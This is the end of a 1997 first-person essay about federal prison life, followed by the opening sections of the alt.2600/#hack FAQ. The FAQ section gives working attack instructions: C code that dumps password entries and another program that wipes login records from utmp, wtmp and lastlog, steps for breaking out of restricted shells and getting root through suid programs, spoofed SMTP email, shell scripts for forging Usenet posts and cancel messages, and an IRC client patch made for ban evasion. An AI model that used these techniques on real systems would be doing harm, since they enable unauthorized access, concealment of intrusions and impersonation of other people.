Segregation sucks, but chances are you will find yourself there at some
point and usually for the most ridiculous of reasons. Sometimes you will
wind up there because of what someone else did. The hole is a 6' x 10'
concrete room with a steel bed and steel toilet. Your privileges will vary,
but at first you get nothing but a shower every couple of days. Naturally
they feed you but, it's never enough, and it's often cold. With no snacks
you often find yourself quite hungry in-between meals. There is nothing to
do there except read and hopefully some guard has been kind enough to throw
you some old novel.
Disciplinary actions will land you in the hole for typically a week or two.
In some cases you might get stuck there for a month or three. It depends on
the shot and on the Lieutenant that sent you there. Sometimes people never
leave the hole....
K. GOOD TIME
You get 54 days per year off of your sentence for good behavior. If anyone
tells you that a bill is going to be passed to give 108 days, they are
lying. 54 days a year works out to 15% and you have to do something
significant to justify getting that taken away. The BOP has come up with
the most complicated and ridiculous way to calculate how much good time you
have earned. They have
a book about three inches thick that discusses how to calculate your exact
release date. I studied the book intensely and came to the conclusion that
the only purpose it serves is to covertly steal a few days of good time
from you. Go figure.
L. HALFWAY HOUSE
All "eligible" inmates are to serve the last 10% of their sentence (not to
exceed six months) in a Community Corrections Center (CCC). At the CCC,
which is nothing more than a large house in a bad part of town, you are to
find a job in the communit y and spend your evenings and nights at the CCC.
You have to give 25% of the gross amount of your check to the CCC to pay
for all of your expenses, unless you are a rare Federal prisoner sentenced
to serve all of your time at the CCC in which case it is 1 0%. They will
breathalyse and urinanalyse you routinely to make sure you are not having
too much fun. If you're a good little hacker you'll get a weekend pass so
you can stay out all night. Most CCCs will transfer you to home confinement
status after a few weeks. This means you can move into your own place, (if
they approve it) but still have to be in for the evenings. They check up on
you by phone. And no, you are not allowed call forwarding, silly rabbit.
M. SUPERVISED RELEASE
Just when you think the fun is all over, after you are released from prison
or the CCC, you will be required to report to a Probation Officer. For the
next 3 to 5 years you will be on Supervised Release. The government
abolished parole, thereby preventing convicts from getting out of prison
early. Despite this they still want to keep tabs on you for awhile.
Supervised Release, in my opinion, is nothing more than extended
punishment. You are a not a free man able to travel and work as you please.
All of your activities will have to be presented to your Probation Officer
(P.O.). And probation is essentially what Supervised Release is. Your P.O.
can violate you for any technical violations and send you back to prison
for several months, or over a year. If you have ANY history of drug use you
will be required to submit to random (weekly) urinalyses. If you come up
dirty it's back to the joint.
As a hacker you may find that your access to work with, or possession of
computer equipment may be restricted. While this may sound pragmatic to the
public, in practice it serves no other purpose that to punish and limit a
former hacker's ability t o support himself. With computers at libraries,
copy shops, schools, and virtually everywhere, it's much like restricting
someone who used a car to get to and from a bank robbery to not ever drive
again. If a hacker is predisposed to hacking he's going to be able to do it
with or without restrictions. In reality many hackers don't even need a
computer to achieve their goals. As you probably know a phone and a little
social engineering go a long way.
But with any luck you will be assigned a reasonable P.O. and you will stay
out of trouble. If you give your P.O. no cause to keep an eye on you, you
may find the reins loosening up. You may also be able to have your
Supervised Release terminated ea rly by the court. After a year or so, with
good cause, and all of your government debts paid, it might be plausible.
Hire an attorney, file a motion.
For many convicts Supervised Release is simply too much like being in
prison. For those it is best to violate, go back to prison for a few
months, and hope the judge terminates their Supervised Release. Although
the judge may continue your supervis ion, he/she typically will not.
N. SUMMARY
What a long strange trip it's been. I have a great deal of mixed emotions
about my whole ordeal. I can however, say that I HAVE benefitted from my
incarceration. However, it certainly was not on the behalf of how I was
handled by the government. No , despite their efforts to kick me when I was
down, use me, turn their backs after I had assisted them, and in general,
just violate my rights, I was still able to emerge better educated than
when I went in. But frankly, my release from prison was just in the nick of
time. The long term effects of incarceration and stress were creeping up on
me, and I could see prison conditions were worsening. It's hard to express
the poignancy of the situation but the majority of those incarcerated feel
that if drastic changes are not made America is due for some serious
turmoil, perhaps even a civil war.
Yes, the criminal justice system is that screwed up. The Nation's thirst
for vengeance on criminals is leading us into a vicious feedback loop of
crime and punishment, and once again crime. Quite simply, the system is not
working. My purpose in writing this article was not to send any kind of
message. I'm not telling you how not to get caught and I'm not telling you
to stop hacking. I wrote this simply because I feel l ike I owe it to
whomever might get use of it. For some strange reason I am oddly compelled
to tell you what happened to me. Perhaps this is some kind or therapy,
perhaps it's just my ego, perhaps I just want to help some poor 18-year-old
hacker who really doesn't know what he is getting himself in to. Whatever
the reason, I just sat down one day and started writing.
If there is a central theme to this article it would be how ugly your world
can become. Once you get grabbed by the law, sucked into their vacuum, and
they shine the spotlight on you, there will be little you can do to protect
yourself. The vultures and predators will try to pick what they can off of
you. It's open season for the U.S. Attorneys, your attorney, other inmates,
and prison officials. You become fair game. Defending yourself from all of
these forces will require all of your wits, all of your resources, and
occasionally your fists.
Furthering the humiliation, the press, as a general rule, will not be
concerned with presenting the truth. They will print what suits them and
often omit many relevant facts. If you have read any of the 5 books I am
covered in you will no doubt have a rather jaded opinion of me. Let me
assure you that if you met me today you would quickly see that I am quite
likable and not the villain many (especially Jon Littman) have made me out
to be. You may not agree with how I lived my life, but you wouldn't have
any trouble understanding why I chose to live it that way. Granted I've
made my mistakes, growing up has been a long road for me. Nevertheless, I
have no shortage of good friends. Friends that I am immensely loyal to. But
if you believe everything y ou read you'd have the impression that Mitnick
is a vindictive loser, Poulsen a furtive stalker, and I a two faced rat.
All of those assessments would be incorrect.
So much for first impressions. I just hope I was able to enlighten you and
in some way to help you make the right choice. Whether it's protecting
yourself from what could be a traumatic life altering experience, or
compelling you to focus your computer skills on other avenues, it's
important for you to know the program, the language, and the rules.
See you in the movies
Agent Steal
1997
The
alt.2600/#Hack F.A.Q.
Beta Revision .013
A TNO Communications Production
by
Voyager
will@gnu.ai.mit.edu
Sysop of
Hacker's Haven
(303)343-4053
Greets go out to:
A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve,
DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit,
Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider,
Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora,
ThePublic, Tomes, and TheSaint.
We work in the dark
We do what we can
We give what we have
Our doubt is our passion, and our passion is our task
The rest is the madness of art.
-- Henry James
When I picture a perfect reader, I always picture a
monster of courage and curiosity, also something
supple, cunning, cautious, a born adventurer and
discoverer...
-- Friedreich Nietzsche
Section A: Computers
01. How do I access the password file under Unix?
02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. What can be logged on a VMS system?
10. What privileges are available on a VMS system?
11. How do I break out of a restricted shell?
12. How do I gain root from a suid script or program?
13. How do I erase my presence from the system logs?
U 14. How do I send fakemail?
15. How do I fake posts and control messages to UseNet?
16. How do I hack ChanOp on IRC?
U 17. How do I modify the IRC client to hide my real username?
18. How to I change to directories with strange characters in them?
U 19. What is ethernet sniffing?
20. What is an Internet Outdial?
21. What are some Internet Outdials?
U 22. What is this system?
U 23. What are the default accounts for XXX ?
24. What port is XXX on?
25. What is a trojan/worm/virus/logic bomb?
26. How can I protect myself from viruses and such?
27. Where can I get more information about viruses?
28. What is Cryptoxxxxxxx?
29. What is PGP?
30. What is Tempest?
31. What is an anonymous remailer?
U 32. What are the addresses of some anonymous remailers?
33. How do I defeat copy protection?
34. What is 127.0.0.1?
35. How do I post to a moderated newsgroup?
U 36. How do I post to Usenet via e-mail?
37. How do I defeat a BIOS password?
N 38. What is the password for <encrypted file>?
N 39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
N 40. How does the MS-Windows password encryption work?
Section B: Telephony
U 01. What is a Red Box?
02. How do I build a Red Box?
03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
05. How do I make local calls with a Red Box?
06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
09. What do all the colored boxes do?
10. What is an ANAC number?
U 11. What is the ANAC number for my area?
12. What is a ringback number?
U 13. What is the ringback number for my area?
14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
U 20. What is a Proctor Test Set?
U 21. What is a Proctor Test Set in my area?
22. What is scanning?
23. Is scanning illegal?
U 24. Where can I purchase a lineman's handset?
25. What are the DTMF frequencies?
26. What are the frequencies of the telephone tones?
U 27. What are all of the * (LASS) codes?
28. What frequencies do cordless phones operate on?
29. What is Caller-ID?
30. How do I block Caller-ID?
31. What is a PBX?
32. What is a VMB?
33. What are the ABCD tones for?
N 34. What are the International Direct Numbers?
Section C: Cellular
N 01. What is an MTSO?
N 02. What is a NAM?
N 03. What is an ESN?
N 04. What is an MIN?
N 05. What is a SCN?
N 06. What is a SIDH?
N 07. What are the forward/reverse channels?
Section D: Resources
01. What are some ftp sites of interest to hackers?
02. What are some fsp sites of interest to hackers?
U 03. What are some newsgroups of interest to hackers?
U 04. What are some telnet sites of interest to hackers?
U 05. What are some gopher sites of interest to hackers?
U 06. What are some World wide Web (WWW) sites of interest to hackers?
07. What are some IRC channels of interest to hackers?
U 08. What are some BBS's of interest to hackers?
U 09. What are some books of interest to hackers?
U 10. What are some videos of interest to hackers?
U 11. What are some mailing lists of interest to hackers?
U 12. What are some print magazines of interest to hackers?
U 13. What are some e-zines of interest to hackers?
U 14. What are some organizations of interest to hackers?
U 15. What are some radio programs of interest to hackers?
N 16. What are other FAQ's of interest to hackers?
17. Where can I purchase a magnetic stripe encoder/decoder?
18. What are the rainbow books and how can I get them?
Section E: 2600
01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores. What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
Section F: Miscellaneous
01. What does XXX stand for?
02. How do I determine if I have a valid credit card number?
U 03. What is the layout of data on magnetic stripe cards?
04. What are the ethics of hacking?
05. Where can I get a copy of the alt.2600/#hack FAQ?
U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ
Section A: Computers
~~~~~~~~~~~~~~~~~~~~
01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:
Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell
]
] Sample entry from /etc/passwd:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Broken down, this passwd file line shows:
Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash
02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack.
CrackerJack is available via ftp from clark.net
/pub/jcase/.
03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.
Example:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
04. Where can I find the password file if it's shadowed?
Unix
Path
Token
----------------------------------------------------------------AIX 3
or
/etc/security/passwd
!
/tcb/auth/files/<first letter
#
of username>/<username>
A/UX 3.0s
/tcb/files/auth/?/*
BSD4.3-Reno
/etc/master.passwd
*
ConvexOS 10
/etc/shadpw
*
ConvexOS 11
/etc/shadow
*
DG/UX
/etc/tcb/aa/user/
*
EP/IX
/etc/shadow
x
HP-UX
/.secure/etc/passwd
*
IRIX 5
/etc/shadow
x
Linux 1.1
/etc/shadow
*
OSF/1
/etc/passwd[.dir|.pag]
*
SCO Unix #.2.x
/tcb/auth/files/<first letter
*
of username>/<username>
SunOS4.1+c2
/etc/security/passwd.adjunct
SunOS 5.0
/etc/shadow
##username
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow
x
System V Release 4.2 /etc/security/* database
Ultrix 4
/etc/auth[.dir|.pag]
*
UNICOS
/etc/udb
*
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages).
The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data.
NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Note the comma in the encrypted password field.
The characters after
the comma are used by the password aging mechanism.
]
] Password aging characters from above example:
]
] M.z8
]
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password.
Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
Password Aging Codes
+------------------------------------------------------------------------+
|
|
| Character:
. /
0 1 2
3 4 5
6 7 8
|
0 1
2 3 4
5 6 7
8 9 10 11 12 13 14 15 16 17 18 19 |
Number:
9 A
B C D
E F G
|
H |
|
| Character:
I J
K L M
N O P
Q R S
T U
V W X
Y Z a
b |
|
Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|
|
| Character:
c d
e f g
h i j
k l m
n o
p q r
s t u
v |
|
Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|
|
| Character:
|
w x
y z
|
Number: 60 61 62 63
|
|
|
+------------------------------------------------------------------------+
07. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
08. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
09. What can be logged on a VMS system?
Virtually every aspect of the VMS system can be logged for
investigation.
To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:
$ SET ACCOUNTING
[/ENABLE=(Activity...)]
This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version
number.
The following activities can be logged:
BATCH
Termination of a batch job
DETACHED
Termination of a detached job
IMAGE
Image execution
INTERACTIVE
Interactive job termination
LOGIN_FAILURE
Login failures
MESSAGE
Users messages
NETWORK
Network job termination
PRINT
Print Jobs
PROCESS
Any terminated process
SUBPROCESS
Termination of a subprocess
To enable security auditing use:
$ SET AUDIT [/ENABLE=(Activity...)]
The /ALARM qualifier is used to raise an alarm to all terminals approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL
The security auditor can be configured to log the following
activities:
ACL
Access Control List requested events
AUTHORIZATION
Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN
Attempted Break-ins
FILE_ACCESS
File or global section access
INSTALL
Occurrence of any INSTALL operations
LOGFAILURE
Any login failures
LOGIN
A login attempt from various sources
LOGOUT
Logouts
MOUNT
Mount or dismount requests
10. What privileges are available on a VMS system?
ACNT
Allows you to restrain accounting messages
ALLSPOOL
Allows you to allocate spooled devices
ALTPRI
Allot Priority. This allows you to set any priority
value
BUGCHK
Allows you make bug check error log entries
BYPASS
Enables you to disregard protections
CMEXEC/
CMKRNL
Change to executive or kernel mode.
These privileges
allow a process to execute optional routines with KERNEL
and EXECUTIVE access modes. CMKRNL is the most powerful
privilege on VMS as anything protected can be accessed
if you have this privilege. You must have these
privileges to gain access to the kernel data structures
directly.
DETACH
This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE
With this privilege you can diagnose devices
EXQUOTA
Allows you to exceed your disk quota
GROUP
This privilege grants you permission to affect other
processes in the same rank
GRPNAM
Allows you to insert group logical names into the group
logical names table.
GRPPRV
Enables you to access system group objects through
system protection field
LOG_IO
Allows you to issue logical input output requests
MOUNT
May execute the mount function
NETMBX
Allows you to create network connections
OPER
Allows you to perform operator functions
PFNMAP
Allows you to map to specific physical pages
PHY_IO
Allows you to perform physical input output requests
PRMCEB
Can create permanent common event clusters
PRMGBL
Allows you to create permanent global sections
PRMMBX
Allows you to create permanent mailboxes
PSWAPM
Allows you to change a processes swap mode
READALL
Allows you read access to everything
SECURITY
Enables you to perform security
SETPRV
Enable all privileges
SHARE
Allows you to access devices allocated to other users.
related functions
This is used to assign system mailboxes.
SHMEM
Enables you to modify objects in shared memory
SYSGBL
Allows you to create system wide permanent global
sections
SYSLCK
Allows you to lock system wide resources
SYSNAM
Allows you to insert in system logical names in the
names table.
SYSPRV
If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX
Allows you create temporary mailboxes
VOLPRO
Enables you to override volume protection
WORLD
When this is set you can affect other processes in the
world
To determine what privileges your process is running with issue the command:
$ show proc/priv
11. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
If your restricted shell prevents you from using the "cd" command, ftp
into your account and you may be able to cd.
12. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS.
IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS
# Bourne Shell
setenv IFS '/'
# C Shell
export IFS='/'
# Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program.
Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode.
This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
13. How do I erase my presence from the system logs?
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
14. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
From: voyager@bellcore.com (The Voyager)
To: president@whitehouse.gov
Subject: Clipper
Reply-To: voyager@bellcore.com
Please discontinue your silly Clipper initiative.
.
QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.
For more information read RFC 822 "Standard for the format of ARPA
Internet text messages."
15. How do I fake posts and control messages to UseNet?
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT
Anonymous netnews without "anonymous" remailers
Inspired by the recent "NetNews Judges-L" events, this file has been
updated to cover forging control messages, so you can do your own
article canceling and create and destroy your own newsgroups.
Save any news article to a file. We'll call it "hak" in this example.
Edit "hak", and remove any header lines of the form
From some!random!path!user
(note: "From ", not "From: " !!)
Article:
Lines:
Xref:
Shorten the Path: header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from
where it really was posted, and originally hit the net at or near the
host you send it to. Or you can construct a completely new Path: line
to reflect your assumed alias.
Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of
random characters to the part before the @, since news posting programs
generally use a fixed-length field to generate these IDs.
Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc.
Replace the original message text with your message. If
you are posting to a moderated group or posting a control message,
remember to put in an Approved: header to bypass the moderation
mechanism.
To specifically cancel someone else's article, you need its message-ID.
Your message headers, in addition to what's already there, should also
contain the following with that message-ID in it. This makes it a
"control message". NOTE: control messages generally require an
Approved: header as well, so you should add one.
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
Add on the string "moderated" at the end of these if you want the group
to be "moderated with no moderator" as with alt.hackers. Somewhere in
the body of your message, you should include the following text,
changed with the description of the group you're creating:
For your newsgroups file:
comp.misc.microsoft.sucks
We don't do windows
To remove a group, substitute "rmgroup" for "newgroup" in the header
lines above. Keep in mind that most sites run all "rmgroup" requests
through a human news-master, who may or may not decide to honor it.
Group creation is more likely to be automatic than deletion at most
installations. Any newsgroup changes are more likely to take effect if
the come from me, since my name is hardwired into many of the NNTP
control scripts, so using the From: and Approved: headers from this
posting is recommended.
Save your changed article, check it to make sure it contains NO
reference to yourself or your own site, and send it to your favorite
NNTP server that permits transfers via the IHAVE command, using the
following script:
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
If your article doesn't appear in a day or two, try a different server.
They are easy to find.
Here's a script that will break a large file
full of saved netnews into a list of hosts to try.
Edit the output of
this if you want, to remove obvious peoples' names and other trash.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
If the above script is called "findem" and you're using csh, you should do
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time,
but when it finishes, edit "outfile" and look for occurrences of "335".
These mark answers from servers that might be willing to accept an
article. This isn't a completely reliable indication, since some
servers respond with acceptance and later drop articles. Try a given
server with a slightly modified repeat of someone else's message, and
see if it eventually appears.
Sometimes the telnets get into an odd state, and freeze, particularly
when a host is refusing NNTP connections. If you manually kill these
hung telnet processes but not the main script, the script will continue
on. In other words, you may have to monitor the finding script a
little while it is running.
You will notice other servers that don't necessarily take an IHAVE, but
say "posting ok".
You can probably do regular POSTS through these, but
they will add an "NNTP-Posting-Host: " header containing the machine
YOU came from and are therefore unsuitable for completely anonymous
use.
PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.
16. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.
17. How do I modify the IRC client to hide my real username?
Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me.
-- BEGIN QUOTED TEXT -Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command
can be used as follows:
*
/NEWUSER <new_username> [new_IRCNAME]
*
<new_username> is a new username to use and is required
*
[new_IRCNAME] is a new IRCNAME string to use and is optional
*
This will disconnect you from your server and reconnect using
*
the new information given. You will rejoin all channel you
*
are currently on and keep your current nickname.
The effect is basically changing your username/IRCname on the fly.
Although you are disconnected from your server and reconnected, the
ircII client is never exited, thus keeping all your state information
and aliases intact. This is ideal for bots that wish to be REALLY
obnoxious in ban evasion. ;)
As this is now a new command in ircII, it can be used in scripts. Be
aware that the reconnect associated with the NEWUSER command takes time,
so TIMER any commands that must immediately follow the NEWUSER. For
example... ban evasion made easy (but beware infinite reconnects when
your site is banned):
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}
Or just to be annoying... a /BE <nickname> alias that will assume a
person's username and IRCNAME:
alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5}
whois $0
}
Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using).
Cd into the
source directory and edit the file "edit.c". Make the following
changes:
Locate the line which reads:
extern void
server();
Insert the following line after it:
static void
newuser();
This pre-defines a new function "newuser()" that we'll add later.
Now, locate the line which reads:
"NAMES",
"NAMES",
funny_stuff,
0,
newuser,
0,
Insert the following line after it:
"NEWUSER",
NULL,
This adds a new command NEWUSER to the list of valid IRCII commands, and
tells it to call our new function newuser() to perform it.
Finally, go the bottom of the file and add the following code as our new
function "newuser()":
/*
* newuser: the /NEWUSER command. Added by Hendrix
*
*
Parameters as follows:
/NEWUSER <new_username> [new_IRCNAME]
*
<new_username> is a new username to use and is required
*
[new_IRCNAME] is a new IRCNAME string to use and is optional
*
This will disconnect you from your server and reconnect using
*
the new information given. You will rejoin all channels you
*
are currently on and keep your current nickname.
*/
static void
char
newuser(command, args)
*command,
*args;
{
char
*newuname;
if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) != -1)
{
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to connect.");
}
else
say("You must specify a username and, optionally, an IRCNAME");
}
-- END QUOTED TEXT -/NEWUSER will not hide you from a CTCP query.
To do that, modify ctcp.c
as shown in the following diff and set an environment variable named
CTCPFINGER with the information you would like to display when queried.
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
!
char
c;
--- 334 --!
char
c, *fing;
***************
*** 350,354 ****
!
if (pwd = getpwuid(uid))
{
char
*tmp;
--- 350,356 ---!
if (fing = getenv("CTCPFINGER"))
!
send_ctcp_reply(from, ctcp->name, fing, diff, c);
!
else if (pwd = getpwuid(uid))
{
char
*tmp;
18. How to I change to directories with strange characters in them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:
From the man page for ls:
-F
Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q
Forces printing of non-graphic characters in filenames as the
